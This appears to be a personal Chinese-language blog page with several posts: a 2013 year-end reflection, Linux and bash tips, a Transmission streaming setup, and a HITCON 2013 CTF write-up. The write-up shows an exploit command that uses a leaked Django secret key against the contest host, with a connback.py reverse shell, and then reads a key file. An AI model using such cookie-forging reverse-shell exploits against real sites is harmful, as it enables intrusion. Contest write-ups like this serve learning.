Wednesday, January 1, 2014

bye, 2013


年底反省文




今年是變動很大、四處奔波的一年
認識了不少新朋友、但是同時也和很多舊交失去連繫
點和點之間的 connection 不斷的新生又斷開
豐原、台中、新竹、台北、Champaign
場所和場所之間、人與人不斷的遞嬗
很累了







首先要感謝我的家人
今年回家的次數比去年多了很多
只要週末我是閒暇的就往台中跑
能這樣陪家人的時間愈來愈少了
多陪陪他們吧
人在美國時也常打 Skype 回來
家裡是永遠的避風港
希望家人能持續健康、快樂







今年最重要的事情大概是去了美國一趟吧
感謝 ijsung 學長和 Dr. Hwu 的推薦
同事們都很棒,也感謝大老闆 AGK 、娘娘、公主們的照顧
Mark, Matthieu, Karoline, Kevin, Tom, Alex 你們都很好好 QQ
看了很多在台灣完全體驗不到的體會
吃了很多米國食物www
第一次嘗試美式墨西哥
太多太多難忘的餐廳數量難以一一列舉
回程前去 Chicago, 真的是很棒的城市
一定會想要爭取機會再去!






年初和 jserv 學長在一中舉辦了系統程式的寒訓
自己算是也學了很多吧
檢討了自己對於教學和傳授熱情的諸多項目
也是自己第一次自學 Obj-C iOS programming
逼迫自己把系統領域的知識弄的再更精熟,然後傳授給學弟們

美國回來後對學長那邊的幫忙比較少一些,感到抱歉
學長每次聊天或是吃宵夜都可以帶給我很大的動力
持續能有力量燃燒自己面對新竹這個悲劇的城市QQ
希望來年一樣可以繼續幫助學長也讓自己學習更多







一樣歷年感謝名單個人版
琬庭、芝芝、NaNi、君君、小趴、秀
謝謝你們陪伴我這一年,我的心情起伏真的有點大
沒有你們的陪伴可能我這年已經壓力爆炸了吧
聽我倒垃圾很累很沈重,辛苦你們了!




芝芝
琬庭說我一定是嚇到你了
但是我要說我真的非常非常喜歡你!!!!
我們的個性和各種方面來說真的太像了XD
天底下到底是我如何運氣好才能認識到你這樣的人
知道你的生活比我繁忙更多
也不是有很多時間理我
雖然你還沒有正式點頭答應,但是我不會放棄的!






小趴
謝謝你今年的陪伴
度過了許多以淚洗面的日子
一些玩笑話我真的不會開心,可是這就是你,對吧!
也許我真的不應該是適合你的人吧
難過的事情就不要再想了
謝謝你,也希望你未來會是很棒的







今年加入了學校的 OH
也許是給自己另一個機會吧
多看看多認識一些人也好
老闆廣廣對工程師很棒
來年也希望照顧了!






在系計中和各位夥伴學習也再多一年了
一樣希望能有更多成長
這年算是在這邊比較輕鬆吧
確立了自己想要的和自己能辦到的
就努力去作
保持磨練技術和經驗,熱血系統工程師







今年算是 hacking 碰的比較少的一年吧
感謝噗友、開源社群的夥伴以及各位 hacker
一樣今年指引小弟在資訊安全這條道路的學習
技術探討的熱情是很棒的
希望我能保持下去
能繼續能對於整個自由軟體社群和安全領域奉獻自己

happy hacking!



for each in NC7U-WTF channel
NC7U-WTF !!! 24x7 歡樂聊天、惡搞、婊人、髒髒物分享   糾團休學啦!幹!
XDDDDDD





來年就振作然後繼續努力吧!


xatier 20140101

Thursday, December 19, 2013

Build Linux kernel from source

A note for building Linux kernel from source under Archlinux




# fetch the kernel source code and extract it
wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.12.5.tar.xz
tar Jxvf linux-3.12.5.tar.xz
cd linux-3.12.5/
 
# prepare for the compilation, this will delete all current configuration and all generated files
make mrproper
 
# copy the config from the running system
zcat /proc/config > .config
 
# configure your customized kernel
make menuconfig
 
# Go to play some games
# n for num of your process, e.g. make -j 8
make -j n
 
# install modules under /lib/modules/
sudo make modules_install
 
# prepare the new kernel under /boot/
sudo cp arch/x86_64/boot/bzImage /boot/vmlinuz-KernelName
sudo mkinitcpio -k /boot/vmlinuz-KernelName -c /etc/mkinitcpio.conf -g /boot/initramfs-KernelName.img
sudo cp System.map /boot/System.map-KernelName
 
# update grub configuration
sudo grub-mkconfig -o /boot/grub/grub.cfg

Sunday, July 28, 2013

私人雲端動畫

最近研究了簡單的雲端動畫方案 (家裡網路... Orz)

transmission-remote + html5 (?)

實驗機器在 Ubuntu server上,有已經架好的 web server (apache)

Archlinux 的話裝這個套件  transmission-cli ,參考 Archwiki (不過東西有點少...)


sudo apt-get install transmission-daemon


按照 這邊 和 這邊 把設定檔該調整的參數調一調


sudo vim /etc/transmission-daemon/settings.json


一般來說會動到的參數大概有



# 如果你想把未完成分開的話可以開 true 並設好路徑
"incomplete-dir": "/home/xatier/Downloads",
"incomplete-dir-enabled": false,
"download-dir": "/home/xatier/Downloads",


# 加密一定要開的啦!LPD 是 ​Local Peer Discovery ,學校宿舍你懂得 (?)
"encryption": 1,
"lpd-enabled": true,


# 最重要的 rpc 設定
"rpc-password": "見底下說明",
"rpc-port": 9091,
"rpc-url": "/tran5mi55ion/",
"rpc-username": "bt",
"rpc-whitelist": "127.0.0.1,140.*.*.*",
"rpc-whitelist-enabled": true,


關於密碼的部份
rpc-password: The ssha1 encrypted password (starts with a '{') needed for remote access. A new password can be entered via command line utilities or directly in plain text and will replaced with the encrypted version when the configuration file is next saved.

白名單用逗號隔開,可用 * 當 wildcard




transmission 有自己的 web-UI ,rpc 白名單設好後直接連你設的 port 就 ok 惹

官網有截圖就不再贅述

另外也可以裝 transmission-remote-gui 可以直接調整更多設定






接著,原本想弄個 web 網站可以選要看的動畫之類的

HTML5 有個 <video> tag 可以直接放,許多瀏覽器有支持

後來覺得只是脫褲子放屁,因為有更簡單的方法XD



# web server 的 root directory
cd /var/www

sudo ln -s /home/xatier/Downloads/ media

http://mydomain.com/media/[KT*P][Shing*ki no Kyojin][15][BIG5][720p][MP4].mp4

就可以看啦XDDD

當看完動畫時記得 sudo rm media 把 link 砍掉XD



這麼簡單的作法可以拿個 raspberry pi 當農場機加上 streaming 源之類的XD


Saturday, July 20, 2013

HIT2013 解題心得


今年因為一些緣故,所以無法到會場參加每年安全最大的盛會 hitcon

雖然一開始搶票的時候沒弄到,連幹了活X通幾聲

然而,幸運的在今年 PyCON 2013 中午看到 @crboy 小畢發噗,說也來寫個哀怨的對聯好了XDD




創意對聯
Cyberwar: in hack, we trust
Ticketwar: at midnight, the site crashed
橫批:Distributed Denial of Service


沒想到... 就拿到票惹XD




不過後來還是沒去啦... QQ

Anyway, 來寫心得文吧!XD

今年題目設計和以往又有些不同,多了很多  AppleScript/Obj-C 的 hacking, PE / .NET 逆向題目也不錯,.apk 也許也該來碰了...XD

各題首次破台者 

媽我在這~~~._./



最終盤面


心得與思路分享




R100 這題看了半天看不出所以然 QQ






AppleScript ... WTF

run-only 屬性去不掉,GG




一樣是沒碰過的 apk 題... 該來研究了 (?)




apk 兩題




這題很有趣,首先要寫兩個 script 把 RAR 解開 100 層,接著,要把剩下來解開 RAR 的檔名"拼" 成一個 binary file... Orz






稍作整理然後轉成 binary

echo -n -e $(tr -d '[:space:]' | sed 's/../\\x&/g')

$ file new.bin
new.bin: PE32 executable for MS Windows (console) Intel 80386 32-bit




這個東西拿到 VM 底下就一隻該死的南瓜... Orz (而且還會唱歌www)


而且還需要用 upx 去個殼...

strings 結果:


字串都不是 key

IDA 看了很久也沒有想法,丟給隊友作,後來據說是解神奇的數學 (?


解!







這題乍看之下要分析 JavaScript (小弟苦手...

而且還是 aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻

不過... 其實秘訣就... 讓那段 code 動起來XDD
chrome console 下,var foo = function {......}
foo();

就拿到 key 啦!還會有動畫XDDDD


解!






Web 苦手,pass 給隊友 Orz

社交工程 pf ㄉㄉ也可以拿到 key




Pass, 不過聽說不難




Pass




Pass, CrBoy / rsghost / JokerCatz 解開惹 0w0







這題其實www

乍看之下 py2exe 要反解... 不過就...

unzip + vim 搞定XD






丟 IDA 看... 沒想法QQ







Obj-C ... Orz

中間一排 AAA 很可疑就是...






再一題 Obj-C ... WTF






找到了諸多疑點,可是沒弄出來QQ

strings 出來的解和這邊一樣...

http://stuff.mit.edu/afs/sipb/project/hurddev/tb/libc/locale/C-identification.c

http://svn.haiku-os.org/oldhaiku/haiku/branches/old/wcsmbs/current/src/kernel/libroot/posix/glibc/wcsmbs/wcsmbsload.c

Pass 給隊友



TW1943 做了逆向, CrBoy 他們解出了一個 C# 的 twitter bot ... 可是沒猜出來







這個也殘念,exploit pdf 先丟反解把 pdf decode 成明碼

用和這邊 類似的作法,可是沒找到可疑的 JavaScript ...



Pass



隊友 TW1943 完成
rar fix
nul.Ly
crack md5
Philippines






往年的尋常水題

hack the planet!




沒 PWN 出來QQ



windows ... 哭哭




也沒碰...





得意解!!!!!



PyCON.tw 2013 時,Orange 在 "駭客看 Django" 的議程上特別說過,Secret key 很重要,可以用來偽造 Cookie 達成許多不可思議的事情


Google 找攻略,這邊有詳細介紹這類的攻擊方式

首先 clone 這個 repo 下來

connback.py 改成自己的機器,做反彈 shell

然後

./exploit.py "1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk" http://vuln-django.orange.tw


到處看看

# cat ./app/key.txt

got!


關主 Orange 很得意的發噗說希望等人來解

看到後底下回個 QQ  ... 

沒想到 12 分鐘後就 done 了XDDDD





解完這題很開心,一度名次還沒前面的說QQ

我解完 PWN500 後自己測試帳號是第四名XDD

而且站在 CRAX 的前面!!!



歷史一瞬間!(圖片提供:rsg)





Anyway, 感謝各位隊友的幫助

BlueT
Divazone
JokerCatz
Mr. Q
rsggggggggggg
Shun-Yun Hu
TW1943
CrBoy


<(_ _)>


今年似乎魏藥也是有事情無法前來,可惜了...QQ

玩得很開心最重要,名次就... 不重要吧XD

另外恭喜 SQlab 的 CRAX 和 DSNS lab 都拿了不錯的成績

HackStuff 的朋友們也表現很亮眼




大家加油!明年再接再厲!

xatier @hitcon2013



Tuesday, July 16, 2013

touch? no! just use the redirection!

大家都知道,要創建一個新檔案就是讓哥哥摸一下

$ touch foo

不過其實有更快的方法


$ > foo
$ :> foo         # happy face!


> 是大家都知道的  redirection,把空 redirect 到(不存在的)文件也就是創造新檔案

: 是 bash 裡面的空函數(?)


$ man bash

       : [arguments]
              No effect; the command does nothing beyond expanding arguments and performing any specified redirections.  A zero exit code is returned.

Monday, July 15, 2013

bash: tab-completion case insensitive

習慣一直戳 [Tab] 是大家的好習慣 (?)

但是要按 shift 實在是很麻煩,於是乎

$ sudo vim /etc/inputrc
set completion-ignore-case on


$ man bash
completion-ignore-case (off)
If set to On, readline performs filename matching and completion in a case-insensitive fashion.


Wednesday, July 3, 2013

Archlinux Android USB Tethering

USB Tethering: 透過 USB 把網路從 Android 設備弄到 Linux 上

Ref: https://wiki.archlinux.org/index.php/Android_Tethering

Steps:
1. load the usbnet kernel module
2. set up the interface
3. run dhcpcd


sudo modprobe usbnet

ifconfig -a             # find something like usb0

sudo ip link set usb0 up

sudo dhcpcd usb0


Monday, July 1, 2013

keyboard setting om OS X

我有個  filco 青軸,接在 Air 上面需要作一些 keyboard layout 的調整

我的 control 和 capslock 是交換的,並且 Alt/Command 在 Mac 鍵盤上是和一般鍵盤的順序是相反的。

如以下方式調整


Thursday, June 27, 2013

git archive to tarballs


今天看到的小工具,git 可以直接把整個 repo 打包帶走

git archive --format=tar --prefix=proj-1.2.3/ HEAD > proj-1.2.3.tar

Ref/
https://www.kernel.org/pub/software/scm/git/docs/git-archive.html